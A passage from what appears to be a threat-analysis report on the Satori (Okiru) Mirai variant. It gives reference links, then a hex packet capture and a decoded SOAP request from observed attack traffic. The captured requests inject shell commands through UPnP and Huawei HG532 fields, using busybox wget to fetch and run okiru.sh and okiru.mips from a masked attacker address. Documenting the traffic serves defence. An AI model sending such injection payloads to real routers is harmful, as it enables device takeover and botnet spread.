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1  https://nvd.nist.gov/vuln/detail/CVE­2014­8361  
2 Security Notice ­ Statement on Remote Code Execution Vulnerability in Huawei HG532 Product  
   http://www.huawei.com/en/psirt/security­notices/huawei­sn­20171130­01­hg532­en  
3 Warning: Satori, a Mirai Branch Is Spreading in Worm Style on Port 37215 and 52869 
http://blog.netlab.360.com/warning­satori­a­new­mirai­variant­is­spreading­in­worm­style­on­port­37215­and­
52869­en/  
4 Rise of One More Mirai Worm Variant 
   https://blog.fortinet.com/2017/12/12/rise­of­one­more­mirai­worm­variant  
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( )  1 
    ...  

    0x0130:  3633 370d 0a0d 0a3c 3f78 6d6c 2076 6572  637....<?xml.ver 

    0x0140:  7369 6f6e 3d22 312e 3022 203f 3e3c 733a  sion="1.0".?><s: 

    0x0150:  456e 7665 6c6f 7065 2078 6d6c 6e73 3a73  Envelope.xmlns:s 

    0x0160:  3d22 6874 7470 3a2f 2f73 6368 656d 6173  ="http://schemas 

    0x0170:  2e78 6d6c 736f 6170 2e6f 7267 2f73 6f61  .xmlsoap.org/soa 

    0x0180:  702f 656e 7665 6c6f 7065 2f22 2073 3a65  p/envelope/".s:e 

    0x0190:  6e63 6f64 696e 6753 7479 6c65 3d22 6874  ncodingStyle="ht 

    0x01a0:  7470 3a2f 2f73 6368 656d 6173 2e78 6d6c  tp://schemas.xml 

    0x01b0:  736f 6170 2e6f 7267 2f73 6f61 702f 656e  soap.org/soap/en 

    0x01c0:  636f 6469 6e67 2f22 3e3c 733a 426f 6479  coding/"><s:Body 

    0x01d0:  3e3c 753a 4164 6450 6f72 744d 6170 7069  ><u:AddPortMappi 

    0x01e0:  6e67 2078 6d6c 6e73 3a75 3d22 7572 6e3a  ng.xmlns:u="urn: 

    0x01f0:  7363 6865 6d61 732d 7570 6e70 2d6f 7267  schemas­upnp­org 

    0x0200:  3a73 6572 7669 6365 3a57 414e 4950 436f  :service:WANIPCo 

    0x0210:  6e6e 6563 7469 6f6e 3a31 223e 3c4e 6577  nnection:1"><New 

    0x0220:  5265 6d6f 7465 486f 7374 3e3c 2f4e 6577  RemoteHost></New 

    0x0230:  5265 6d6f 7465 486f 7374 3e3c 4e65 7745  RemoteHost><NewE 

    0x0240:  7874 6572 6e61 6c50 6f72 743e 3437 3435  xternalPort>4745 

    0x0250:  303c 2f4e 6577 4578 7465 726e 616c 506f  0</NewExternalPo 

    0x0260:  7274 3e3c 4e65 7750 726f 746f 636f 6c3e  rt><NewProtocol> 

    0x0270:  5443 503c 2f4e 6577 5072 6f74 6f63 6f6c  TCP</NewProtocol 

    0x0280:  3e3c 4e65 7749 6e74 6572 6e61 6c50 6f72  ><NewInternalPor 

    0x0290:  743e 3434 3338 323c 2f4e 6577 496e 7465  t>44382</NewInte 

    0x02a0:  726e 616c 506f 7274 3e3c 4e65 7749 6e74  rnalPort><NewInt 

    0x02b0:  6572 6e61 6c43 6c69 656e 743e 6063 6420  ernalClient>`cd. 

    0x02c0:  2f74 6d70 2f3b 2f62 696e 2f62 7573 7962  /tmp/;/bin/busyb 

    0x02d0:  6f78 2077 6765 7420 6874 7470 3a2f 2f32  ox.wget.http://x       *: masked IP address 

    0x02e0:  3132 2e33 322e 3232 392e 3231 342f 6f6b  xx.xx.xxx.xxx/ok 

    0x02f0:  6972 752e 7368 603c 2f4e 6577 496e 7465  iru.sh`</NewInte 

    0x0300:  726e 616c 436c 6965 6e74 3e3c 4e65 7745  rnalClient><NewE 

    0x0310:  6e61 626c 6564 3e31 3c2f 4e65 7745 6e61  nabled>1</NewEna 

    0x0320:  626c 6564 3e3c 4e65 7750 6f72 744d 6170  bled><NewPortMap 

    0x0330:  7069 6e67 4465 7363 7269 7074 696f 6e3e  pingDescription> 

    0x0340:  7379 6e63 7468 696e 673c 2f4e 6577 506f  syncthing</NewPo 

    0x0350:  7274 4d61 7070 696e 6744 6573 6372 6970  rtMappingDescrip 

    0x0360:  7469 6f6e 3e3c 4e65 774c 6561 7365 4475  tion><NewLeaseDu 

    0x0370:  7261 7469 6f6e 3e30 3c2f 4e65 774c 6561  ration>0</NewLea 

    0x0380:  7365 4475 7261 7469 6f6e 3e3c 2f75 3a41  seDuration></u:A 

    0x0390:  6464 506f 7274 4d61 7070 696e 673e 3c2f  ddPortMapping></ 

    0x03a0:  733a 426f 6479 3e3c 2f73 3a45 6e76 656c  s:Body></s:Envel 

    0x03b0:  6f70 653e                                ope> 

 

5 



 

( )  2 
<?xml.version="1.0".?> 

<s:Envelope.xmlns :s="http://schemas.xmlsoap.org/soap/envelope/" 

s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> 

<s:Body> 

<u:Upgrade.xmlns:u="urn:schemas­upnp­org:service:WANPPPConnection:1"> 

<NewStatusURL>$(busybox.wget.­g.xxx.xx.xx.xxx 

­l./tmp/rsh.­r./okiru.mips.;chmod.+x./tmp/rsh.;/tmp/rsh)</NewStatusURL> 

<NewDownoadURL>$(echo.HUAWEIUPNP)</NewDownloadURL> 

</u:Upgrade> 

</s:Body> 

</s:Envelope> 
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  https://sect.iij.ad.jp/d/2017/12/074702.html 
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